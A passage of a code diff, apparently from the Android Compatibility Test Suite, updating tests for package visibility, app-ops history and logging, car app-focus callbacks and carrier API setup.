     @Test
+    public void queriesNothing_canSeeInstaller() throws Exception {
+        runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+        runShellCommand("pm install"
+                + " -i " + TARGET_NO_API
+                + " --pkg " + QUERIES_NOTHING_SEES_INSTALLER
+                + " " + QUERIES_NOTHING_SEES_INSTALLER_APK);
+        try {
+            assertVisible(QUERIES_NOTHING_SEES_INSTALLER, TARGET_NO_API);
+        } finally {
+            runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+        }
+    }
+
+
+    @Test
     public void whenStarted_canSeeCaller() throws Exception {
         // let's first make sure that the target cannot see the caller.
         assertNotVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
@@ -430,6 +454,22 @@
         }
     }
 
+    @Test
+    public void queriesResolver_grantsVisibilityToProvider() throws Exception {
+        assertNotVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+
+        String[] result = sendCommandBlocking(
+                QUERIES_NOTHING_PERM, QUERIES_NOTHING_PROVIDER, null, ACTION_QUERY_RESOLVER)
+                .getStringArray(Intent.EXTRA_RETURN_RESULT);
+        Arrays.sort(result);
+        assertThat(QUERIES_NOTHING_PERM + " not visible to " + QUERIES_NOTHING_PROVIDER
+                        + " during resolver interaction",
+                Arrays.binarySearch(result, QUERIES_NOTHING_PERM),
+                greaterThanOrEqualTo(0));
+
+        assertVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+    }
+
     private void assertNotVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
index ba98da1..100b9af 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -103,6 +103,7 @@
                     client.noteSyncOp()
 
                     assertThat(asyncNoted).isEmpty()
+                    assertThat(noted).isEmpty()
 
                     setNotedAppOpsCollector()
 
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
index 222059f..3dd5c21 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
@@ -21,6 +21,8 @@
 
 class AutoClosingActivity : Activity() {
     override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
         finish()
     }
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index 106f111..f286d9f 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -197,7 +197,7 @@
 
         // Using the shell identity causes a trusted proxy note
         runWithShellPermissionIdentity {
-            appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+            appOpsManager.noteProxyOp(OPSTR_WIFI_SCAN, myPackage, myUid, null, null)
         }
         val afterTrusted = System.currentTimeMillis()
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index 4be7ac2a..ea20c6d 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -67,7 +67,6 @@
 import org.junit.Assert.fail
 import org.junit.Assume.assumeTrue
 import org.junit.Before
-import org.junit.Ignore
 import org.junit.Test
 import java.util.concurrent.CompletableFuture
 import java.util.concurrent.Executor
@@ -212,7 +211,6 @@
         }
     }
 
-    @Ignore("b/154775996")
     @Test
     fun disableCollectedAndNoteSyncOpAndCheckLog() {
         rethrowThrowableFrom {
@@ -660,6 +658,8 @@
     fun getWallpaper() {
         val wallpaperManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
                 .getSystemService(WallpaperManager::class.java)
+        assumeTrue("Device does not support wallpaper",
+                wallpaperManager.isWallpaperSupported())
 
         wallpaperManager.getWallpaperFile(FLAG_SYSTEM)
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
index eaef444..4862717 100644
--- a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
@@ -34,6 +34,7 @@
 import org.junit.Rule
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.time.Instant
 import java.util.concurrent.TimeUnit
 import java.util.concurrent.locks.ReentrantLock
 import java.util.function.Consumer
@@ -63,22 +64,24 @@
     fun setUpTest() {
         appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
         packageName = context.packageName!!
-        uiAutomation.adoptShellPermissionIdentity()
-        wasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
-                PROPERTY_PERMISSIONS_HUB_ENABLED, false)
-        DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
-                true.toString(), false)
-        appOpsManager.clearHistory()
-        appOpsManager.resetHistoryParameters()
+        runWithShellPermissionIdentity {
+            wasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, false)
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, true.toString(), false)
+            appOpsManager.clearHistory()
+            appOpsManager.resetHistoryParameters()
+        }
     }
 
     @After
     fun tearDownTest() {
-        appOpsManager.clearHistory()
-        appOpsManager.resetHistoryParameters()
-        DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_PERMISSIONS_HUB_ENABLED,
-                wasPermissionsHubEnabled.toString(), false)
-        uiAutomation.dropShellPermissionIdentity()
+        runWithShellPermissionIdentity {
+            appOpsManager.clearHistory()
+            appOpsManager.resetHistoryParameters()
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, wasPermissionsHubEnabled.toString(), false)
+        }
     }
 
     @Test
@@ -102,9 +105,9 @@
     }
 
     @Test
-    fun testHistoricalAggregationOverflow() {
+    fun testRebootHistory() {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -113,7 +116,84 @@
         val chunk = createDataChunk()
         val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
         for (i in 0 until chunkCount) {
-            appOpsManager.addHistoricalOps(chunk)
+            addHistoricalOps(chunk)
+        }
+
+        // Validate the data for the first interval
+        val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
+        val firstIntervalEndMillis = computeIntervalBeginRawMillis(1)
+        var firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
+        assertHasCounts(firstOps!!, 197)
+
+        // Validate the data for the second interval
+        val secondIntervalBeginMillis = computeIntervalBeginRawMillis(1)
+        val secondIntervalEndMillis = computeIntervalBeginRawMillis(2)
+        var secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
+        assertHasCounts(secondOps!!, 33)
+
+        // Validate the data for all intervals
+        val everythingIntervalBeginMillis = Instant.EPOCH.toEpochMilli()
+        val everythingIntervalEndMillis = Long.MAX_VALUE
+        var allOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                everythingIntervalBeginMillis, everythingIntervalEndMillis)
+        assertHasCounts(allOps!!, 230)
+
+        // Now reboot the history
+        runWithShellPermissionIdentity {
+            appOpsManager.rebootHistory(firstIntervalEndMillis)
+        }
+
+        // Validate the data for the first interval
+        firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
+        assertHasCounts(firstOps!!, 0)
+
+        // Validate the data for the second interval
+        secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
+        assertHasCounts(secondOps!!, 230)
+
+        // Validate the data for all intervals
+        allOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                everythingIntervalBeginMillis, everythingIntervalEndMillis)
+        assertHasCounts(allOps!!, 230)
+
+        // Write some more ops to the first interval
+        for (i in 0 until chunkCount) {
+            addHistoricalOps(chunk)
+        }
+
+        // Validate the data for the first interval
+        firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                firstIntervalBeginMillis, firstIntervalEndMillis)
+        assertHasCounts(firstOps!!, 197)
+
+        // Validate the data for the second interval
+        secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                secondIntervalBeginMillis, secondIntervalEndMillis)
+        assertHasCounts(secondOps!!, 263)
+
+        // Validate the data for all intervals
+        allOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                everythingIntervalBeginMillis, everythingIntervalEndMillis)
+        assertHasCounts(allOps!!, 460)
+    }
+
+    @Test
+    fun testHistoricalAggregationOverflow() {
+        // Configure historical registry behavior.
+        setHistoryParameters(
+                AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
+                SNAPSHOT_INTERVAL_MILLIS,
+                INTERVAL_COMPRESSION_MULTIPLIER)
+
+        // Add the data to the history
+        val chunk = createDataChunk()
+        val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
+        for (i in 0 until chunkCount) {
+            addHistoricalOps(chunk)
         }
 
         // Validate the data for the first interval
@@ -141,7 +221,7 @@
     @Test
     fun testHistoryTimeTravel() {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -150,12 +230,14 @@
         val chunk = createDataChunk()
         val chunkCount = computeSlotCount(2) * SNAPSHOT_INTERVAL_MILLIS / chunk.endTimeMillis
         for (i in 0 until chunkCount) {
-            appOpsManager.addHistoricalOps(chunk)
+            addHistoricalOps(chunk)
         }
 
         // Move history in past with the first interval duration
         val firstIntervalDurationMillis = computeIntervalDurationMillis(0)
-        appOpsManager.offsetHistory(firstIntervalDurationMillis)
+        runWithShellPermissionIdentity {
+            appOpsManager.offsetHistory(firstIntervalDurationMillis)
+        }
 
         // Validate the data for the first interval
         val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
@@ -185,7 +267,9 @@
         assertHasCounts(thirdOps!!, 10 * thirdChunkCount)
 
         // Move history in future with the first interval duration
-        appOpsManager.offsetHistory(- (2.5f * firstIntervalDurationMillis).toLong())
+        runWithShellPermissionIdentity {
+            appOpsManager.offsetHistory(-(2.5f * firstIntervalDurationMillis).toLong())
+        }
 
         // Validate the data for the first interval
         val fourthOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
@@ -203,12 +287,12 @@
     @Test
     fun testGetHistoricalAggregationOverAttributions() {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
 
-        appOpsManager.setUidMode(OPSTR_REQUEST_DELETE_PACKAGES, uid, AppOpsManager.MODE_ALLOWED)
+        setUidMode(OPSTR_REQUEST_DELETE_PACKAGES, uid, AppOpsManager.MODE_ALLOWED)
 
         UidStateForceActivity.waitForResumed()
 
@@ -216,28 +300,31 @@
                 null)
         appOpsManager.noteOp(OPSTR_REQUEST_DELETE_PACKAGES, uid, packageName, "secondAttribution",
                 null)
+        var memOps: AppOpsManager.HistoricalOps? = null
+        eventually(SNAPSHOT_INTERVAL_MILLIS / 2) {
+            memOps = getHistoricalOps(appOpsManager, uid = uid)!!
 
-        val memOps = getHistoricalOps(appOpsManager, uid = uid)!!
-
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
-                .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(2)
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("firstAttribution")!!
-                .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
-                .isEqualTo(1)
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("secondAttribution")!!
-                .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
-                .isEqualTo(1)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
+                    .isEqualTo(2)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getAttributedOps("firstAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+                    .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getAttributedOps("secondAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+                    .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+        }
 
         // Wait until data is on disk and verify no entry got lost
         Thread.sleep(SNAPSHOT_INTERVAL_MILLIS)
 
         val diskOps = getHistoricalOps(appOpsManager, uid = uid)!!
-        assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps.getUidOpsAt(0))
+        assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps?.getUidOpsAt(0))
     }
 
     private fun testHistoricalAggregationSomeLevelsDeep(depth: Int) {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -247,7 +334,7 @@
         val chunkCount = (computeSlotCount(depth + 1)
             .times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis)
         for (i in 0 until chunkCount) {
-            appOpsManager.addHistoricalOps(chunk)
+            addHistoricalOps(chunk)
         }
 
         // Validate the data for the full interval
@@ -262,14 +349,14 @@
 
     private fun testGetHistoricalPackageOpsForegroundAtDepth(depth: Int) {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
 
-        appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
+        setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
                 AppOpsManager.MODE_ALLOWED)
-        appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
+        setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
                 AppOpsManager.MODE_ALLOWED)
 
         UidStateForceActivity.waitForResumed()
@@ -373,10 +460,8 @@
             assertThat(getRejectCount(op, AppOpsManager.UID_STATE_BACKGROUND)).isEqualTo(0)
             assertThat(getRejectCount(op, AppOpsManager.UID_STATE_CACHED)).isEqualTo(0)
         } finally {
-            appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
-                    AppOpsManager.MODE_FOREGROUND)
-            appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
-                    AppOpsManager.MODE_FOREGROUND)
+            setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid, AppOpsManager.MODE_FOREGROUND)
+            setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000, AppOpsManager.MODE_FOREGROUND)
         }
     }
 
@@ -398,6 +483,28 @@
         return chunk
     }
 
+    private fun setHistoryParameters(
+        mode: Int,
+        baseSnapshotInterval: Long,
+        compressionStep: Int
+    ) {
+        runWithShellPermissionIdentity {
+            appOpsManager.setHistoryParameters(mode, baseSnapshotInterval, compressionStep)
+        }
+    }
+
+    private fun setUidMode(appOp: String, uid: Int, mode: Int) {
+        runWithShellPermissionIdentity {
+            appOpsManager.setUidMode(appOp, uid, mode)
+        }
+    }
+
+    private fun addHistoricalOps(ops: AppOpsManager.HistoricalOps) {
+        runWithShellPermissionIdentity {
+            appOpsManager.addHistoricalOps(ops)
+        }
+    }
+
     private fun getHistoricalOps(
         appOpsManager: AppOpsManager,
         uid: Int = Process.INVALID_UID,
@@ -406,6 +513,7 @@
         beginTimeMillis: Long = 0,
         endTimeMillis: Long = Long.MAX_VALUE
     ): HistoricalOps? {
+        uiAutomation.adoptShellPermissionIdentity()
         val array = arrayOfNulls<HistoricalOps>(1)
         val lock = ReentrantLock()
         val condition = lock.newCondition()
@@ -430,11 +538,18 @@
             return array[0]
         } finally {
             lock.unlock()
+            uiAutomation.dropShellPermissionIdentity()
         }
     }
 
     private fun assertHasCounts(ops: HistoricalOps, count: Long) {
         assertThat(ops).isNotNull()
+
+        if (count <= 0) {
+            assertThat(ops.uidCount).isEqualTo(0)
+            return
+        }
+
         assertThat(ops.uidCount).isEqualTo(1)
 
         val uidOps = ops.getUidOpsAt(0)
@@ -473,6 +588,7 @@
         beginTimeMillis: Long,
         endTimeMillis: Long
     ): HistoricalOps? {
+        uiAutomation.adoptShellPermissionIdentity()
         val array = arrayOfNulls<HistoricalOps>(1)
         val lock = ReentrantLock()
         val condition = lock.newCondition()
@@ -498,6 +614,7 @@
             return array[0]
         } finally {
             lock.unlock()
+            uiAutomation.dropShellPermissionIdentity()
         }
     }
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
index 1d14a77..9f785b8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
@@ -29,7 +29,6 @@
 private const val APK_PATH = "/data/local/tmp/cts/appops/"
 
 private const val APP_PKG = "android.app.appops.cts.apptocollect"
-private const val MESSAGE = "Stack trace message"
 
 @AppModeFull(reason = "Test relies on seeing other apps. Instant apps can't see other apps")
 class RuntimeMessageCollectionTest {
@@ -58,7 +57,7 @@
             val start = System.currentTimeMillis()
             runWithShellPermissionIdentity {
                 appOpsManager.noteOp(AppOpsManager.OPSTR_READ_CONTACTS, appUid, APP_PKG,
-                        TEST_ATTRIBUTION_TAG, MESSAGE)
+                        TEST_ATTRIBUTION_TAG, null)
             }
             while (System.currentTimeMillis() - start < TIMEOUT_MILLIS) {
                 sleep(200)
@@ -71,7 +70,7 @@
                         assertThat(message.op).isEqualTo(AppOpsManager.OPSTR_READ_CONTACTS)
                         assertThat(message.uid).isEqualTo(appUid)
                         assertThat(message.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-                        assertThat(message.message).isEqualTo(MESSAGE)
+                        assertThat(message.message).isNotNull()
                         return
                     }
                 }
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index a1d5808..5f32612 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -23,6 +23,8 @@
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
+        <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
+             following line should be kept to make atest behave correctly. -->
         <option name="run-command" value="locksettings set-disabled true" />
     </target_preparer>
 
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index be2c57b..9383460 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -47,6 +47,9 @@
 @RunWith(AndroidJUnit4.class)
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
+
+    private static final long NO_EVENT_WAIT_TIME_MS = 50;
+
     private final Context mContext =
             InstrumentationRegistry.getInstrumentation().getTargetContext();
     private CarAppFocusManager mManager;
@@ -60,7 +63,7 @@
         // Request all application focuses and abandon them to ensure no active context is present
         // when test starts.
         int[] activeTypes =  mManager.getActiveAppTypes();
-        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        FocusOwnershipCallback owner = new FocusOwnershipCallback(/* assertEventThread= */ false);
         for (int i = 0; i < activeTypes.length; i++) {
             mManager.requestAppFocus(activeTypes[i], owner);
             owner.waitForOwnershipGrantAndAssert(DEFAULT_WAIT_TIMEOUT_MS, activeTypes[i]);
@@ -150,6 +153,7 @@
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
         assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        // should update as it became active
         assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
         assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
@@ -163,34 +167,38 @@
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
 
-        // this should be no-op
         change.reset();
         change2.reset();
         assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
                 mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
         assertTrue(owner.waitForOwnershipGrantAndAssert(
                 DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
-        assertFalse(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+        // The same owner requesting again triggers update
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
-        assertFalse(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
+        change.reset();
+        change2.reset();
         assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
                 manager2.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner2));
         assertTrue(owner2.waitForOwnershipGrantAndAssert(
                 DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
         assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
         assertTrue(owner.waitForOwnershipLossAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        // ownership change should send update
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
-        // no-op as it is not owning it
         change.reset();
         change2.reset();
         mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -198,15 +206,19 @@
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        // abandoning from non-owner should not trigger update
+        assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertFalse(change.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
-        change.reset();
-        change2.reset();
         assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         expectedFocuses = new int[] {CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION};
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
 
+        manager2.removeFocusListener(change2);
         change.reset();
         change2.reset();
         manager2.abandonAppFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -215,10 +227,14 @@
         expectedFocuses = emptyFocus;
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        // abandoning from owner should trigger update
         assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+        // removed focus listener should not get events
+        assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
         mManager.removeFocusListener(change);
-        manager2.removeFocusListener(change2);
+
     }
 
     @Test
@@ -304,6 +320,7 @@
         public void reset() {
             mLastChangeAppType = 0;
             mLastChangeAppActive = false;
+            mChangeWait.drainPermits();
         }
 
         @Override
@@ -320,6 +337,15 @@
             implements CarAppFocusManager.OnAppFocusOwnershipCallback {
         private volatile int mLastLossEvent;
         private final Semaphore mLossEventWait = new Semaphore(0);
+        private final boolean mAssertEventThread;
+
+        private FocusOwnershipCallback(boolean assertEventThread) {
+            mAssertEventThread = assertEventThread;
+        }
+
+        private FocusOwnershipCallback() {
+            this(true);
+        }
 
         private volatile int mLastGrantEvent;
         private final Semaphore mGrantEventWait = new Semaphore(0);
@@ -345,7 +371,9 @@
         @Override
         public void onAppFocusOwnershipLost(int appType) {
             Log.i(TAG, "onAppFocusOwnershipLoss " + appType);
-            assertMainThread();
+            if (mAssertEventThread) {
+                assertMainThread();
+            }
             mLastLossEvent = appType;
             mLossEventWait.release();
         }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 468d6f6..f678d72 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -185,24 +185,12 @@
                 .acquireContentProviderClient(mStatusContentUri);
         mListenerThread = new HandlerThread("CarrierApiTest");
         mListenerThread.start();
-
-        // We need to close all logical channels in the standard range, [1, 3], before each test.
-        // This makes sure each SIM-related test starts with a clean slate.
-        for (int i = MIN_LOGICAL_CHANNEL; i <= MAX_LOGICAL_CHANNEL; i++) {
-            mTelephonyManager.iccCloseLogicalChannel(i);
-        }
     }
 
     @Override
     public void tearDown() throws Exception {
         if (!hasCellular) return;
 
-        // We need to close all logical channels in the standard range, [1, 3], after each test.
-        // This makes sure each SIM-related test releases any opened channels. Channels should only
-        // be closed for devices that have cellular capabilities.
-        for (int i = MIN_LOGICAL_CHANNEL; i <= MAX_LOGICAL_CHANNEL; i++) {
-            mTelephonyManager.iccCloseLogicalChannel(i);
-        }
         mListenerThread.quit();
         try {
             mStatusProvider.delete(mStatusContentUri, null, null);
@@ -266,8 +254,9 @@
